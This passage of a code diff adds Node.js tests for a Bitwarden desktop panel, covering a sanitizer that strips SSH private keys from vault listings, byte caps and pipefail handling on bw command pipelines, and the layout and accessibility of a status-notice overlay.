!commandText.includes(PRIVATE_MARKER) && !commandText.includes(UNKNOWN_MARKER), commandText)
|
||||
|
||||
const valid = runFixture(JSON.stringify(fixture))
|
||||
check("a valid vault read succeeds", valid.status === 0,
|
||||
`exit=${valid.status} stderr=${JSON.stringify(valid.stderr)}`)
|
||||
|
||||
let parsed = null
|
||||
try { parsed = JSON.parse(valid.stdout) } catch (e) {}
|
||||
check("the sanitizer emits one items/sshKeys document",
|
||||
parsed && Array.isArray(parsed.items) && Array.isArray(parsed.sshKeys), valid.stdout.slice(0, 500))
|
||||
check("types 1-4 remain intact",
|
||||
parsed && JSON.stringify(parsed.items) === JSON.stringify(fixture.slice(0, 4)),
|
||||
parsed ? JSON.stringify(parsed.items) : "no parsed output")
|
||||
check("only type 5 receives a public projection",
|
||||
parsed && JSON.stringify(parsed.sshKeys) === JSON.stringify([{
|
||||
id: "ssh-1", name: "Work SSH", type: 5, organizationId: "org-1",
|
||||
folderId: "folder-1", favorite: false, reprompt: 1,
|
||||
publicKey: "ssh-ed25519 AAAATEST", fingerprint: "SHA256:public-fingerprint"
|
||||
}]), parsed ? JSON.stringify(parsed.sshKeys) : "no parsed output")
|
||||
check("seeing a type-5 item confirms SSH capability in the sanitized envelope",
|
||||
parsed && parsed.sshCapability === "confirmed",
|
||||
parsed ? JSON.stringify(parsed) : "no parsed output")
|
||||
const keyFingerprint = runFixture(JSON.stringify([{
|
||||
object: "item", id: "ssh-keyfp", type: "5", name: "CLI SSH",
|
||||
publicKey: "ssh-rsa AAAATEST2", keyFingerprint: "SHA256:key-fingerprint",
|
||||
sshKey: { privateKey: PRIVATE_MARKER }
|
||||
}]))
|
||||
let keyFingerprintParsed = null
|
||||
try { keyFingerprintParsed = JSON.parse(keyFingerprint.stdout) } catch (e) {}
|
||||
check("the sanitizer accepts the installed CLI keyFingerprint schema",
|
||||
keyFingerprint.status === 0
|
||||
&& keyFingerprintParsed
|
||||
&& JSON.stringify(keyFingerprintParsed.sshKeys) === JSON.stringify([{
|
||||
id: "ssh-keyfp", name: "CLI SSH", type: 5, organizationId: null,
|
||||
folderId: null, favorite: false, reprompt: 0,
|
||||
publicKey: "ssh-rsa AAAATEST2", fingerprint: "SHA256:key-fingerprint"
|
||||
}])
|
||||
&& !keyFingerprint.stdout.includes(PRIVATE_MARKER),
|
||||
`exit=${keyFingerprint.status} stdout=${JSON.stringify(keyFingerprint.stdout)}`)
|
||||
const noType5 = runFixture(JSON.stringify(fixture.slice(0, 4)))
|
||||
let noType5Parsed = null
|
||||
try { noType5Parsed = JSON.parse(noType5.stdout) } catch (e) {}
|
||||
check("a read with no type-5 items keeps ordinary items but marks SSH capability unconfirmed",
|
||||
noType5.status === 0
|
||||
&& noType5Parsed
|
||||
&& JSON.stringify(noType5Parsed.items) === JSON.stringify(fixture.slice(0, 4))
|
||||
&& Array.isArray(noType5Parsed.sshKeys)
|
||||
&& noType5Parsed.sshKeys.length === 0
|
||||
&& noType5Parsed.sshCapability === "unconfirmed",
|
||||
`exit=${noType5.status} stdout=${JSON.stringify(noType5.stdout)}`)
|
||||
check("zero type-5 keys stay unconfirmed even on official Bitwarden cloud",
|
||||
noType5.status === 0
|
||||
&& noType5Parsed
|
||||
&& noType5Parsed.sshCapability === "unconfirmed",
|
||||
`exit=${noType5.status} stdout=${JSON.stringify(noType5.stdout)}`)
|
||||
check("private and unknown-type markers never reach stdout",
|
||||
!valid.stdout.includes(PRIVATE_MARKER) && !valid.stdout.includes(UNKNOWN_MARKER), valid.stdout)
|
||||
|
||||
const crossTyped = runFixture(JSON.stringify([{
|
||||
object: "item", id: "login-with-ssh", type: 1, name: "Forged",
|
||||
login: { username: "still-intact", password: "ordinary-login-secret" },
|
||||
sshKey: { privateKey: PRIVATE_MARKER, publicKey: "not-an-SSH-item" }
|
||||
}]))
|
||||
check("a cross-typed ordinary item fails instead of being mutated or leaking SSH data",
|
||||
crossTyped.status === 1
|
||||
&& crossTyped.stdout === ""
|
||||
&& crossTyped.stderr === SAFE_DIAGNOSTIC
|
||||
&& !crossTyped.stderr.includes(PRIVATE_MARKER),
|
||||
`exit=${crossTyped.status} stdout=${JSON.stringify(crossTyped.stdout)} stderr=${JSON.stringify(crossTyped.stderr)}`)
|
||||
|
||||
const unboundedReprompt = runFixture(
|
||||
'[{"type":5,"id":"ssh-large-reprompt","reprompt":1e9999,"sshKey":{}}]')
|
||||
let unboundedRepromptParsed = null
|
||||
try { unboundedRepromptParsed = JSON.parse(unboundedReprompt.stdout) } catch (e) {}
|
||||
check("SSH reprompt is normalized to the finite Bitwarden enum",
|
||||
unboundedReprompt.status === 0
|
||||
&& unboundedRepromptParsed
|
||||
&& unboundedRepromptParsed.sshKeys[0].reprompt === 0
|
||||
&& Number.isFinite(unboundedRepromptParsed.sshKeys[0].reprompt),
|
||||
`exit=${unboundedReprompt.status} stdout=${JSON.stringify(unboundedReprompt.stdout)}`)
|
||||
|
||||
for (const [label, contents] of [
|
||||
["malformed JSON", "[{not-json"],
|
||||
["a non-array root", JSON.stringify({ items: fixture })],
|
||||
["multiple JSON documents", "[]\n[]\n"]
|
||||
]) {
|
||||
const result = runFixture(contents)
|
||||
check(`${label} fails closed`, result.status !== 0 && result.stdout === "",
|
||||
`exit=${result.status} stdout=${JSON.stringify(result.stdout)} stderr=${JSON.stringify(result.stderr)}`)
|
||||
}
|
||||
|
||||
const malformedSecret = runFixture(
|
||||
`[{"type":5,"sshKey":{"privateKey":"${PRIVATE_MARKER}"}`)
|
||||
check("parse diagnostics do not echo malformed private material",
|
||||
malformedSecret.status !== 0
|
||||
&& !malformedSecret.stdout.includes(PRIVATE_MARKER)
|
||||
&& !malformedSecret.stderr.includes(PRIVATE_MARKER),
|
||||
`stdout=${JSON.stringify(malformedSecret.stdout)} stderr=${JSON.stringify(malformedSecret.stderr)}`)
|
||||
|
||||
for (const [label, contents] of [
|
||||
["a leading-zero number", '[{"type":1,"value":01}]'],
|
||||
["a NaN value", '[{"type":1,"value":NaN}]'],
|
||||
["an Infinity value", '[{"type":1,"value":Infinity}]']
|
||||
]) {
|
||||
const result = runFixture(contents)
|
||||
check(`${label} is rejected as non-JSON`, result.status !== 0 && result.stdout === "",
|
||||
`exit=${result.status} stdout=${JSON.stringify(result.stdout)} stderr=${JSON.stringify(result.stderr)}`)
|
||||
}
|
||||
|
||||
const failedProducer = runFixture("[]", {
|
||||
QSBW_BW_EXIT: "9",
|
||||
QSBW_BW_STDERR: STDERR_MARKER.repeat(
|
||||
Math.ceil((MAX_STDERR_BYTES + 100) / Buffer.byteLength(STDERR_MARKER)))
|
||||
})
|
||||
const failedProducerStdout = failedProducer.stdout || ""
|
||||
const failedProducerStderr = failedProducer.stderr || ""
|
||||
check("a failed bw read exposes only a bounded static diagnostic",
|
||||
failedProducer.status === 1
|
||||
&& failedProducerStdout === ""
|
||||
&& !failedProducerStderr.includes(STDERR_MARKER)
|
||||
&& failedProducerStderr === SAFE_DIAGNOSTIC
|
||||
&& Buffer.byteLength(failedProducerStderr) <= MAX_STDERR_BYTES,
|
||||
`exit=${failedProducer.status} error=${failedProducer.error || "none"} stdout=${JSON.stringify(failedProducerStdout)} stderr=${JSON.stringify(failedProducerStderr.slice(0, 200))}`)
|
||||
const malformedOlderCli = runFixture("[]", {
|
||||
QSBW_BW_VERSION: "2026.7.0",
|
||||
QSBW_BW_EXIT: "1",
|
||||
QSBW_BW_STDERR: "TypeError: Cannot read properties of null (reading 'keyFingerprint')"
|
||||
})
|
||||
check("bw list failures stay on the exact bounded safe diagnostic with no raw CLI output",
|
||||
malformedOlderCli.status === 1
|
||||
&& malformedOlderCli.stdout === ""
|
||||
&& malformedOlderCli.stderr === SAFE_DIAGNOSTIC
|
||||
&& !malformedOlderCli.stderr.includes("2026.8.0")
|
||||
&& !malformedOlderCli.stderr.includes("keyFingerprint")
|
||||
&& !malformedOlderCli.stderr.includes("TypeError"),
|
||||
`exit=${malformedOlderCli.status} stdout=${JSON.stringify(malformedOlderCli.stdout)} stderr=${JSON.stringify(malformedOlderCli.stderr)}`)
|
||||
|
||||
const fakeJqDir = path.join(tempDir, "failed-filter")
|
||||
fs.mkdirSync(fakeJqDir)
|
||||
fs.writeFileSync(path.join(fakeJqDir, "jq"),
|
||||
`#!/bin/bash\nprintf '%s' '${FILTER_STDERR_MARKER}' >&2\nexit 7\n`, { mode: 0o755 })
|
||||
const failedFilter = runFixture("[]", {
|
||||
PATH: fakeJqDir + path.delimiter + testEnv.PATH
|
||||
})
|
||||
check("a failed jq filter exposes no raw diagnostic or partial output",
|
||||
failedFilter.status === 1
|
||||
&& failedFilter.stdout === ""
|
||||
&& !failedFilter.stderr.includes(FILTER_STDERR_MARKER)
|
||||
&& failedFilter.stderr === SAFE_DIAGNOSTIC
|
||||
&& Buffer.byteLength(failedFilter.stderr) <= MAX_STDERR_BYTES,
|
||||
`exit=${failedFilter.status} stdout=${JSON.stringify(failedFilter.stdout)} stderr=${JSON.stringify(failedFilter.stderr)}`)
|
||||
|
||||
const invocationPath = path.join(tempDir, "bw-invocations")
|
||||
const invokedOnce = runFixture("[]", { QSBW_BW_INVOCATIONS: invocationPath })
|
||||
const invocationCount = fs.existsSync(invocationPath)
|
||||
? fs.readFileSync(invocationPath, "utf8").length : 0
|
||||
check("one sanitized read invokes bw exactly once",
|
||||
invokedOnce.status === 0 && invocationCount === 1,
|
||||
`exit=${invokedOnce.status} invocations=${invocationCount}`)
|
||||
|
||||
// The prefix is valid JSON. Only the extra whitespace crosses the raw cap,
|
||||
// proving upstream truncation is rejected even when jq could parse the bytes
|
||||
// that made it through.
|
||||
const oversizedInput = "[]" + " ".repeat(MAX_ITEMS_BYTES)
|
||||
const inputLimited = runFixture(oversizedInput)
|
||||
check("raw input beyond 16 MiB fails closed",
|
||||
inputLimited.status !== 0 && inputLimited.stdout === "",
|
||||
`exit=${inputLimited.status} stdout-bytes=${Buffer.byteLength(inputLimited.stdout)}`)
|
||||
|
||||
// jq replaces this invalid four-byte sequence with a three-byte U+FFFD.
|
||||
// The raw stream is one byte over the cap, but a post-decoding measurement
|
||||
// sees exactly the limit and would incorrectly accept it.
|
||||
const invalidPrefix = Buffer.from('[{"type":6,"value":"')
|
||||
const invalidUtf8 = Buffer.from([0xf4, 0x90, 0x80, 0x80])
|
||||
const invalidSuffix = Buffer.from('"}]')
|
||||
const invalidPadding = Buffer.alloc(
|
||||
MAX_ITEMS_BYTES + 1 - invalidPrefix.length - invalidUtf8.length - invalidSuffix.length,
|
||||
0x61)
|
||||
const decodingBypass = runFixture(
|
||||
Buffer.concat([invalidPrefix, invalidPadding, invalidUtf8, invalidSuffix]))
|
||||
check("invalid UTF-8 cannot shrink an oversized raw input past the cap",
|
||||
decodingBypass.status !== 0 && decodingBypass.stdout === "",
|
||||
`exit=${decodingBypass.status} stdout=${JSON.stringify(decodingBypass.stdout)}`)
|
||||
|
||||
// The input fits just under its cap, but the {items,sshKeys} envelope pushes
|
||||
// the sanitized document over the QML-facing ceiling.
|
||||
const largeItem = { object: "item", id: "large", type: 1, name: "Large", notes: "" }
|
||||
const emptyBytes = Buffer.byteLength(JSON.stringify([largeItem]))
|
||||
largeItem.notes = "x".repeat(MAX_ITEMS_BYTES - emptyBytes - 8)
|
||||
const nearLimitInput = JSON.stringify([largeItem])
|
||||
check("the output-overflow fixture itself stays below the raw cap",
|
||||
Buffer.byteLength(nearLimitInput) < MAX_ITEMS_BYTES,
|
||||
String(Buffer.byteLength(nearLimitInput)))
|
||||
const outputLimited = runFixture(nearLimitInput)
|
||||
check("sanitized output beyond 16 MiB fails without partial stdout",
|
||||
outputLimited.status !== 0 && outputLimited.stdout === "",
|
||||
`exit=${outputLimited.status} stdout-bytes=${Buffer.byteLength(outputLimited.stdout)}`)
|
||||
} finally {
|
||||
fs.rmSync(tempDir, { recursive: true, force: true })
|
||||
}
|
||||
|
||||
console.log(`${pass} passed, ${failures.length} failed`)
|
||||
if (failures.length) {
|
||||
console.error("\nFAILURES:\n " + failures.join("\n "))
|
||||
process.exit(1)
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
#!/usr/bin/env node
|
||||
// Transient status and error messages float over the panel instead of joining
|
||||
// its content column. Their arrival must never change the height used by
|
||||
// KeyboardPanel, which is what made every screen jump down and back up.
|
||||
//
|
||||
// node tests/status-notice.test.js
|
||||
|
||||
const fs = require("fs")
|
||||
const path = require("path")
|
||||
|
||||
const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8")
|
||||
const noticeSrc = fs.existsSync(path.join(__dirname, "..", "StatusNotice.qml"))
|
||||
? fs.readFileSync(path.join(__dirname, "..", "StatusNotice.qml"), "utf8")
|
||||
: ""
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
|
||||
|
||||
const noticeAt = panelSrc.indexOf("id: statusNotice")
|
||||
const noticeUse = noticeAt === -1 ? "" : panelSrc.slice(noticeAt, noticeAt + 2000)
|
||||
|
||||
check("the status notice is a sibling overlay rather than a mainColumn child",
|
||||
/^ StatusNotice \{\n id: statusNotice/m.test(panelSrc),
|
||||
"expected statusNotice at PanelKeyCatcher child indentation")
|
||||
check("the overlay is pinned inside the bottom of the panel",
|
||||
/anchors\.bottom:\s*parent\.bottom/.test(noticeSrc)
|
||||
&& /anchors\.horizontalCenter:\s*parent\.horizontalCenter/.test(noticeSrc)
|
||||
&& /z:\s*[1-9][0-9]*/.test(noticeSrc),
|
||||
noticeSrc)
|
||||
check("the overlay never participates in panel height measurement",
|
||||
/contentHeight:\s*panel\.fittedContentHeight\(mainColumn\.implicitHeight/.test(panelSrc)
|
||||
&& !/implicitHeight:\s*statusNotice/.test(panelSrc),
|
||||
"KeyboardPanel must continue to measure only mainColumn")
|
||||
|
||||
check("errors take priority over transient status text",
|
||||
/showsError:\s*root\.errorMessage\s*!==\s*""/.test(noticeSrc)
|
||||
&& /text:\s*root\.showsError\s*\?\s*root\.errorMessage\s*:\s*root\.statusMessage/.test(noticeSrc),
|
||||
noticeSrc)
|
||||
check("status text still yields to the sequential TOTP action",
|
||||
/showsStatus:[^\n]*root\.statusMessage\s*!==\s*""[^\n]*!root\.statusSuppressed/.test(noticeSrc)
|
||||
&& /statusSuppressed:\s*root\.totpFollowupActive/.test(noticeUse),
|
||||
noticeSrc + "\n" + noticeUse)
|
||||
check("long messages wrap within the panel",
|
||||
/wrapMode:\s*Text\.Wrap/.test(noticeSrc), noticeSrc)
|
||||
check("errors can be dismissed without hiding ordinary status updates",
|
||||
/visible:\s*root\.showsError/.test(noticeSrc)
|
||||
&& /onClicked:\s*root\.errorDismissed\(\)/.test(noticeSrc)
|
||||
&& /onErrorDismissed:[\s\S]{0,400}root\.errorMessage = ""/.test(noticeUse),
|
||||
noticeSrc + "\n" + noticeUse)
|
||||
|
||||
// An error the user can act on carries the action. A refused save is the case:
|
||||
// the list is already back to what the vault holds, so the button is the way
|
||||
// back to what was typed.
|
||||
check("an error can offer a recovery alongside the dismiss",
|
||||
/property string actionLabel: ""/.test(noticeSrc)
|
||||
&& /signal actionRequested\(\)/.test(noticeSrc)
|
||||
&& /visible: root\.showsError && root\.actionLabel !== ""/.test(noticeSrc),
|
||||
noticeSrc)
|
||||
check("the recovery is offered only when there is one",
|
||||
/actionLabel: root\.failedSave \? "Reopen " \+ root\.failedSave\.name : ""/.test(noticeUse),
|
||||
noticeUse)
|
||||
check("dismissing the message discards the recovery with it",
|
||||
/root\.failedSave = null\s*\n\s*root\.errorMessage = ""/.test(noticeUse),
|
||||
"a Reopen button behind an invisible message is a button for nothing")
|
||||
check("dynamic notices expose alert semantics to assistive technology",
|
||||
/Accessible\.role:\s*Accessible\.AlertMessage/.test(noticeSrc)
|
||||
&& /Accessible\.ignored:\s*!root\.shown/.test(noticeSrc)
|
||||
&& /Accessible\.name:/.test(noticeSrc),
|
||||
noticeSrc)
|
||||
|
||||
console.log(`${pass} passed, ${failures.length} failed`)
|
||||
if (failures.length) {
|
||||
console.error("\nFAILURES:\n " + failures.join("\n "))
|
||||
process.exit(1)
|
||||
}
|
||||
@@ -0,0 +1,258 @@
|
||||
#!/usr/bin/env node
|
||||
// Verifies that all data streams read by the long-lived shell process
|
||||
// are capped on the producer side to prevent unbounded buffering.
|
||||
|
||||
const fs = require("fs")
|
||||
const path = require("path")
|
||||
const os = require("os")
|
||||
const { execFileSync, spawnSync } = require("child_process")
|
||||
|
||||
const Model = {}
|
||||
const code = fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
|
||||
.replace(/^\.pragma library\s*$/m, "")
|
||||
|
||||
new Function("exports", code + `
|
||||
exports.listCommand = listCommand
|
||||
exports.getItemCommand = getItemCommand
|
||||
exports.listSendsCommand = listSendsCommand
|
||||
exports.listFoldersCommand = listFoldersCommand
|
||||
exports.listOrganizationsCommand = listOrganizationsCommand
|
||||
exports.listOrgCollectionsCommand = listOrgCollectionsCommand
|
||||
exports.getTotpCommand = getTotpCommand
|
||||
exports.statusCommand = statusCommand
|
||||
exports.generateCommand = generateCommand
|
||||
exports.generateServeRequestCommand = generateServeRequestCommand
|
||||
exports.createSendCommand = createSendCommand
|
||||
exports.createItemCommand = createItemCommand
|
||||
exports.editItemCommand = editItemCommand
|
||||
exports.deleteItemCommand = deleteItemCommand
|
||||
exports.createFolderCommand = createFolderCommand
|
||||
exports.attachmentDownloadCommand = attachmentDownloadCommand
|
||||
exports.sessionHandoffReadCommand = sessionHandoffReadCommand
|
||||
exports.associationsReadCommand = associationsReadCommand
|
||||
exports.keyringLookupCommand = keyringLookupCommand
|
||||
exports.keyringLookupMasterPasswordCommand = keyringLookupMasterPasswordCommand
|
||||
exports.pinUnlockCommand = pinUnlockCommand
|
||||
exports.dependencyCheckCommand = dependencyCheckCommand
|
||||
exports.buildCappedCommand = buildCappedCommand
|
||||
exports.syncCommand = syncCommand
|
||||
exports.deleteSendCommand = deleteSendCommand
|
||||
exports.settingWriteCommand = settingWriteCommand
|
||||
`)(Model)
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (label, ok, detail) => {
|
||||
if (ok) {
|
||||
pass++
|
||||
} else {
|
||||
failures.push(`${label}\n ${detail}`)
|
||||
}
|
||||
}
|
||||
|
||||
const flat = (cmd) => (Array.isArray(cmd) ? cmd.join(" ") : String(cmd))
|
||||
|
||||
// 1. Vault item list stream is capped
|
||||
const listCmd = Model.listCommand()
|
||||
check("listCommand produces bash pipeline with head -c byte cap",
|
||||
flat(listCmd).includes("bw list items") && flat(listCmd).includes("head -c 16777216"),
|
||||
flat(listCmd))
|
||||
check("listCommand caps diagnostic stderr stream",
|
||||
flat(listCmd).includes("exec 2> >(head -c 8192 >&2)"),
|
||||
flat(listCmd))
|
||||
|
||||
// 2. Vault item detail stream is capped
|
||||
const getItemCmd = Model.getItemCommand("12345-abc")
|
||||
check("getItemCommand caps item detail output to 4MB",
|
||||
flat(getItemCmd).includes("bw get item -- 12345-abc") && flat(getItemCmd).includes("head -c 4194304"),
|
||||
flat(getItemCmd))
|
||||
check("getItemCommand caps stderr stream",
|
||||
flat(getItemCmd).includes("exec 2> >(head -c 8192 >&2)"),
|
||||
flat(getItemCmd))
|
||||
|
||||
// 3. Bitwarden send list stream is capped
|
||||
const sendsCmd = Model.listSendsCommand()
|
||||
check("listSendsCommand caps send list output to 8MB",
|
||||
flat(sendsCmd).includes("bw send list") && flat(sendsCmd).includes("head -c 8388608"),
|
||||
flat(sendsCmd))
|
||||
|
||||
// 4. Folder list stream is capped
|
||||
const foldersCmd = Model.listFoldersCommand()
|
||||
check("listFoldersCommand caps folder list output to 2MB",
|
||||
flat(foldersCmd).includes("bw list folders") && flat(foldersCmd).includes("head -c 2097152"),
|
||||
flat(foldersCmd))
|
||||
|
||||
// 5. Organization list stream is capped
|
||||
const orgsCmd = Model.listOrganizationsCommand()
|
||||
check("listOrganizationsCommand caps org list output to 2MB",
|
||||
flat(orgsCmd).includes("bw list organizations") && flat(orgsCmd).includes("head -c 2097152"),
|
||||
flat(orgsCmd))
|
||||
|
||||
// 6. Organization collections stream is capped
|
||||
const orgColsCmd = Model.listOrgCollectionsCommand("org-99")
|
||||
check("listOrgCollectionsCommand caps collections output to 2MB",
|
||||
flat(orgColsCmd).includes("bw list org-collections --organizationid org-99") && flat(orgColsCmd).includes("head -c 2097152"),
|
||||
flat(orgColsCmd))
|
||||
|
||||
// 7. Status and unlock streams are capped
|
||||
const statusCmd = Model.statusCommand()
|
||||
check("statusCommand caps status json output to 64KB",
|
||||
flat(statusCmd).includes("bw status") && flat(statusCmd).includes("head -c 65536"),
|
||||
flat(statusCmd))
|
||||
|
||||
// 8. TOTP code stream is capped
|
||||
const totpCmd = Model.getTotpCommand("item-55")
|
||||
check("getTotpCommand caps totp output to 4KB",
|
||||
flat(totpCmd).includes("bw get totp --raw -- item-55") && flat(totpCmd).includes("head -c 4096"),
|
||||
flat(totpCmd))
|
||||
|
||||
// 9. Session handoff file reader is size-bounded
|
||||
const handoffCmd = Model.sessionHandoffReadCommand(true)
|
||||
check("sessionHandoffReadCommand bounds file reading with head -c 4096",
|
||||
flat(handoffCmd).includes("head -c 4096") && !flat(handoffCmd).includes("cat \"$f\""),
|
||||
flat(handoffCmd))
|
||||
|
||||
// 10. Associations file reader is size-bounded
|
||||
const assocCmd = Model.associationsReadCommand()
|
||||
check("associationsReadCommand bounds file reading with head -c 1048576",
|
||||
flat(assocCmd).includes("head -c 1048576") && !flat(assocCmd).includes("cat \"$ASSOC_FILE\""),
|
||||
flat(assocCmd))
|
||||
|
||||
// 11. Keyring lookups and PIN unlock are size-bounded
|
||||
const keyringCmd = Model.keyringLookupCommand()
|
||||
check("keyringLookupCommand bounds secret-tool output to 4KB",
|
||||
flat(keyringCmd).includes("head -c 4096") && flat(keyringCmd).includes("head -c 128"),
|
||||
flat(keyringCmd))
|
||||
|
||||
const pinCmd = Model.pinUnlockCommand()
|
||||
check("pinUnlockCommand bounds both ciphertext lookup and decrypted password",
|
||||
flat(pinCmd).includes("head -c 8192") && flat(pinCmd).includes("head -c 4096"),
|
||||
flat(pinCmd))
|
||||
|
||||
// 12. Password generator output is capped
|
||||
const genPassCmd = Model.generateCommand({ length: 32 })
|
||||
check("generateCommand caps password output to 4KB",
|
||||
flat(genPassCmd).includes("bw generate") && flat(genPassCmd).includes("head -c 4096"),
|
||||
flat(genPassCmd))
|
||||
|
||||
// 12b. Generator serve request stream is capped on the producer side
|
||||
const serveReqCmd = Model.generateServeRequestCommand({ length: 24 })
|
||||
check("generateServeRequestCommand bounds loopback response stream with head -c 65536",
|
||||
flat(serveReqCmd).includes("curl -q -s -S") && flat(serveReqCmd).includes("head -c 65536"),
|
||||
flat(serveReqCmd))
|
||||
|
||||
// 13. Create/Edit/Delete commands are capped
|
||||
const createFolderCmd = Model.createFolderCommand("test")
|
||||
check("createFolderCommand caps stderr and response",
|
||||
flat(createFolderCmd).includes("exec 2> >(head -c 8192 >&2)") && flat(createFolderCmd).includes("head -c 65536"),
|
||||
flat(createFolderCmd))
|
||||
|
||||
// The save commands cap their response the way sanitizedListCommand does:
|
||||
// read one byte past the ceiling, then refuse anything that reached it. A
|
||||
// bare `head -c <max>` cannot tell a stream that fit from one that was cut,
|
||||
// and these two now carry a sanitising stage whose output must be whole or
|
||||
// discarded. See the same idiom asserted for the item list in ssh-items.
|
||||
const capsResponse = cmd =>
|
||||
flat(cmd).includes("head -c 65537") && flat(cmd).includes('-gt 65536')
|
||||
|
||||
const createItemCmd = Model.createItemCommand({ organizationId: "org-1" })
|
||||
check("createItemCommand caps stderr and response",
|
||||
flat(createItemCmd).includes("exec 2> >(head -c 8192 >&2)") && capsResponse(createItemCmd),
|
||||
flat(createItemCmd))
|
||||
|
||||
const editItemCmd = Model.editItemCommand("item-1")
|
||||
check("editItemCommand caps stderr and response",
|
||||
flat(editItemCmd).includes("exec 2> >(head -c 8192 >&2)") && capsResponse(editItemCmd),
|
||||
flat(editItemCmd))
|
||||
|
||||
const deleteItemCmd = Model.deleteItemCommand("item-1")
|
||||
check("deleteItemCommand caps stderr and response",
|
||||
flat(deleteItemCmd).includes("exec 2> >(head -c 8192 >&2)") && flat(deleteItemCmd).includes("head -c 65536"),
|
||||
flat(deleteItemCmd))
|
||||
|
||||
// 14. Live execution check: verify head -c truncation behaviour on huge stream
|
||||
const hugeScript = "yes 'unbounded streaming line' | head -c 1024"
|
||||
const hugeOut = execFileSync("bash", ["-c", hugeScript], { encoding: "utf8" })
|
||||
check("head -c strictly bounds incoming stream to exact byte count",
|
||||
Buffer.byteLength(hugeOut, "utf8") === 1024,
|
||||
`Expected 1024 bytes, got ${Buffer.byteLength(hugeOut, "utf8")}`)
|
||||
|
||||
// 15. Live execution check: verify stderr bounding does not corrupt stdout
|
||||
const stderrScript = "exec 2> >(head -c 100 >&2); echo 'stdout data'; (echo 'short stderr error' >&2)"
|
||||
const proc = execFileSync("bash", ["-c", stderrScript], { encoding: "utf8", stdio: ["ignore", "pipe", "pipe"] })
|
||||
check("capped stderr does not leak into stdout",
|
||||
proc.trim() === "stdout data",
|
||||
`stdout was: ${JSON.stringify(proc)}`)
|
||||
|
||||
// 16. A cap must not swallow the producer's exit status. `head -c` closes the
|
||||
// pipe and exits 0, so without `pipefail` every failing bw command would reach
|
||||
// the panel as a success and the UI would report "Item deleted" for a delete
|
||||
// that never happened.
|
||||
const cappedBuilders = [
|
||||
["listCommand", Model.listCommand()],
|
||||
["getItemCommand", Model.getItemCommand("x")],
|
||||
["deleteItemCommand", Model.deleteItemCommand("x")],
|
||||
["deleteSendCommand", Model.deleteSendCommand("x")],
|
||||
["syncCommand", Model.syncCommand()],
|
||||
["createItemCommand", Model.createItemCommand({})],
|
||||
["editItemCommand", Model.editItemCommand("x")],
|
||||
["createSendCommand", Model.createSendCommand()],
|
||||
["createFolderCommand", Model.createFolderCommand("x")],
|
||||
["settingWriteCommand", Model.settingWriteCommand("autoLockMinutes", 5, "int")],
|
||||
]
|
||||
for (const [name, cmd] of cappedBuilders) {
|
||||
check(`${name} restores the producer's exit status with pipefail`,
|
||||
flat(cmd).includes("set -o pipefail"), flat(cmd))
|
||||
check(`${name} does not report truncation (SIGPIPE 141) as a failure`,
|
||||
flat(cmd).includes('case "$__rc" in 141) __rc=0 ;; esac'), flat(cmd))
|
||||
}
|
||||
|
||||
// 17. Live execution check, with a stub `bw`: a failing command must exit
|
||||
// non-zero through the cap, and a stream large enough to hit the cap must not
|
||||
// be mistaken for a failure.
|
||||
const stubDir = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-stream-"))
|
||||
fs.writeFileSync(path.join(stubDir, "bw"), [
|
||||
"#!/bin/bash",
|
||||
'case "$*" in',
|
||||
' *boom*) echo "error: bad request" >&2; exit 1 ;;',
|
||||
" *big*) yes '{\"x\":\"aaaaaaaaaaaaaaaaaaaa\"}' ;;",
|
||||
" *) echo '{\"ok\":true}' ;;",
|
||||
"esac",
|
||||
"",
|
||||
].join("\n"))
|
||||
fs.chmodSync(path.join(stubDir, "bw"), 0o755)
|
||||
const stubEnv = Object.assign({}, process.env, { PATH: stubDir + path.delimiter + process.env.PATH })
|
||||
|
||||
const runScript = (script) => {
|
||||
const r = spawnSync("bash", ["-c", script], {
|
||||
env: stubEnv, encoding: "utf8", maxBuffer: 64 * 1024 * 1024,
|
||||
})
|
||||
return { code: r.status, stdout: r.stdout || "", stderr: r.stderr || "" }
|
||||
}
|
||||
|
||||
const failRun = runScript(Model.deleteItemCommand("boom")[2])
|
||||
check("a failing bw command exits non-zero through the cap",
|
||||
failRun.code === 1, `exit ${failRun.code}, stderr ${JSON.stringify(failRun.stderr)}`)
|
||||
check("a failing bw command still delivers its stderr to the panel",
|
||||
failRun.stderr.includes("bad request"), JSON.stringify(failRun.stderr))
|
||||
|
||||
const okRun = runScript(Model.deleteItemCommand("fine")[2])
|
||||
check("a succeeding bw command exits zero through the cap",
|
||||
okRun.code === 0, `exit ${okRun.code}`)
|
||||
|
||||
// `bw big` never stops printing: only the cap ends it, and the SIGPIPE that
|
||||
// follows must not be reported as a failed vault read.
|
||||
const truncRun = runScript(Model.getItemCommand("big")[2])
|
||||
check("hitting the cap is not reported as a failure",
|
||||
truncRun.code === 0, `exit ${truncRun.code}`)
|
||||
check("hitting the cap truncates at exactly the limit",
|
||||
Buffer.byteLength(truncRun.stdout, "utf8") === 4 * 1024 * 1024,
|
||||
`got ${Buffer.byteLength(truncRun.stdout, "utf8")} bytes`)
|
||||
|
||||
fs.rmSync(stubDir, { recursive: true, force: true })
|
||||
|
||||
console.log(`${pass} passed, ${failures.length} failed`)
|
||||
if (failures.length) {
|
||||
console.error("\nFAILURES:\n " + failures.join("\n "))
|
||||
process.exit(1)
|
||||
}
|
||||
Reference in New Issue
Block a user